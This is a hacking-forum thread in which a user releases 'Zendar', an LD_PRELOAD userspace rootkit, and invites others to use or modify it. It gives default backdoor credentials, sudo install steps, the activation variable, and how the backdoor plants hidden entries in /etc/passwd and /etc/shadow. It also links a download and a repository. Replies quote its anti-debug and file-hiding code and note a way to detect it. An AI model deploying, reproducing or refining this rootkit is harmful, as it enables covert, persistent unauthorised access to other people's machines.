Sinisterly
Zendar userspace rootkit - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Hacking Tools (https://sinister.ly/Forum-Hacking-Tools)
+--- Thread: Zendar userspace rootkit (/Thread-Zendar-userspace-rootkit)



Zendar userspace rootkit - ring-1 - 03-14-2015

"Not another shitty ld_preload rootkit..."
yes, it really is

I argued with myself if I should have posted this here or in the programming section. Please move this thread if my choice is incorrect.

I've tried creating kernel level kits, believe me, but my hacker card doesn't allow me to do that.

I've not contributed anything to the forum yet, so I figured I may as well upload this as it is the only somewhat significant thing I've worked on in the past 4 months. I made this in about 10 hours - of non-stop work - when I was bored out of my skull, it works but it's not that elaborate, you could more than likely create something more efficient in the same amount of time. It was an abstract project that I created for no reason.

You need to read the README, it's important, seriously.

Quote:This is a private rootkit, and thus this README will not adhere to public requirements or preferences.
Scrap that. I have virtually no need for this, it's just a shittier, but smaller version of an azazel/jynx2 hybrid. Do whatever you want with this.
Alright, apparently there was some kind of strange interest in this. @Reiko: I changed how the user is prevented from removing the ld.so.preload file. I still use strstr(), so I do apologize for that, I will eventually get around to using a better method.
I understand that having to change configurable variables in both install and zendar.c is a tedious operation, I will centralize all variables in the install script eventually. I have a free weekend so expect that to happen this week.
@Reiko: I also removed ptrace() from the kit.

Default configuration variables: (install)
username = "zendar"
password = "zendar123"
salt = "password_salt"
home_dir = "/etc/ld.so.conf.d/"
install_dir = "/lib/"
lib_name = "libsslcore.so"
(zendar.c)
HIDDEN_STRING "_zendar"
LIB_NAME "libsslcore.so"
undef DEBUG
ANTI_DEBUG "Secret Sex Loaf of a Single Mom"

Installation & Usage: (installation)
tar xvpf zendar.tar
sudo ./install
(usage)
ssh username@host
(the following will enable core utilities)
alias ls='ls --color=auto'
export PS1='\u@zendar \W >> '
(VITAL, YOU MUST ENABLE THE FOLLOWING!)
export ZENDAR='1'

Config settings are available in both zendar.c and the installation script itself.
The backdoor method works by creating a temporary entry in both /etc/passwd and /etc/shadow, and redirecting any open() calls - excluding login processes - to another file, /etc/.passwd and /etc/.shadow. The method is loud and insecure. Seriously, moral of the story, if you want a rootkit that is efficient and is guaranteed to hide effectively, then just buy one. On the other hand, if you want to create your own, then feel absolutely free to fuck around with mine.

If you want to ask questions, and I'm not studying for exams or doing anything gay, then message me. I'll more than likely reply.

Github repository is available to view now at: https://github.com/ring-1/zendar/

Credits to the author of Azazel and Jynx2.
https://github.com/chokepoint/azazel
https://github.com/chokepoint/Jynx2


RE: Zendar userspace rootkit - whatever - 03-15-2015

(03-14-2015, 09:32 PM)ring-1 Wrote: "Not another shitty ld_preload rootkit..."
yes, it really is

I argued with myself if I should have posted this here or in the programming section. Please move this thread if my choice is incorrect.

I've tried creating kernel level kits, believe me, but my hacker card doesn't allow me to do that.

I've not contributed anything to the forum yet, so I figured I may as well upload this as it is the only somewhat significant thing I've worked on in the past 4 months. I made this in about 10 hours - of non-stop work - when I was bored out of my skull, it works but it's not that elaborate, you could more than likely create something more efficient in the same amount of time. It was an abstract project that I created for no reason.

You need to read the README, it's important, seriously.


Config settings are available in both zendar.c and the installation script itself.
The backdoor method works by creating a temporary entry in both /etc/passwd and /etc/shadow, and redirecting any open() calls - excluding login processes - to another file, /etc/.passwd and /etc/.shadow. The method is loud and insecure. Seriously, moral of the story, if you want a rootkit that is efficient and is guaranteed to hide effectively, then just buy one. On the other hand, if you want to create your own, then feel absolutely free to fuck around with mine.

If you want to ask questions, and I'm not studying for exams or doing anything gay, then message me. I'll more than likely reply.

Download it here: http://a.pomf.se/nicjgg.tar

Credits to the author of Azazel and Jynx2.
https://github.com/chokepoint/azazel
https://github.com/chokepoint/Jynx2

Would you mind putting it on github for those of us that don't want to actually download it so we can just view the code?


RE: Zendar userspace rootkit - Brawler - 03-15-2015

(03-15-2015, 02:09 AM)whatever Wrote: Would you mind putting it on github for those of us that don't want to actually download it so we can just view the code?

I was actually thinking the exact same thing!


@ring-1
Please let me know if you do end up posting it!


RE: Zendar userspace rootkit - Reiko - 03-15-2015

Glad to see someone is at least trying to make something new.

Also, just because a tool is userspace does not necessarily mean it's automatically inferior to kernel-mode stuff. Unhide still finds all the publicly-available kernel rootkits with no modification required.

Code:
long ptrace(void *request, pid_t pid, void *addr, void *data){ printf("%s\n",ANTI_DEBUG); rewrite(anti_debug_msg, strlen(anti_debug_msg)); exit(-1); }
This seriously messes stuff up. Don't do it. It prevents some distros from booting, even.

Code:
int hiddenFile(const char *a){ if(strstr(a, "libsslcore.so") != NULL){ return 1; } if(strstr(a, "ld.so.preload") != NULL){ return 1; } if(strstr(a, HIDDEN_STRING) != NULL){ return 1; } return 0; }
Using strstr() allows someone to detect the kit by simply creating a file called ld.so.preload and watching it disappear Smile


RE: Zendar userspace rootkit - ring-1 - 03-20-2015

(03-15-2015, 02:09 AM)whatever Wrote: Would you mind putting it on github for those of us that don't want to actually download it so we can just view the code?

(03-15-2015, 04:30 AM)Brawler Wrote: I was actually thinking the exact same thing!


@ring-1
Please let me know if you do end up posting it!

https://github.com/ring-1/zendar
Enjoy, friends.

(03-15-2015, 04:26 PM)Reiko Wrote: Glad to see someone is at least trying to make something new.

Also, just because a tool is userspace does not necessarily mean it's automatically inferior to kernel-mode stuff. Unhide still finds all the publicly-available kernel rootkits with no modification required.

Code:
long ptrace(void *request, pid_t pid, void *addr, void *data){ printf("%s\n",ANTI_DEBUG); rewrite(anti_debug_msg, strlen(anti_debug_msg)); exit(-1); }
This seriously messes stuff up. Don't do it. It prevents some distros from booting, even.

Code:
int hiddenFile(const char *a){ if(strstr(a, "libsslcore.so") != NULL){ return 1; } if(strstr(a, "ld.so.preload") != NULL){ return 1; } if(strstr(a, HIDDEN_STRING) != NULL){ return 1; } return 0; }
Using strstr() allows someone to detect the kit by simply creating a file called ld.so.preload and watching it disappear Smile

Changed method for preventing the user from removing ld.so.preload & removed ptrace() from the kit.
Still using strstr(). I'll change my method eventually.


RE: Zendar userspace rootkit - Brawler - 03-20-2015

(03-20-2015, 08:46 PM)ring-1 Wrote: https://github.com/ring-1/zendar
Enjoy, friends.


Changed method for preventing the user from removing ld.so.preload & removed ptrace() from the kit.
Still using strstr(). I'll change my method eventually.


Thanks man, I will check it out.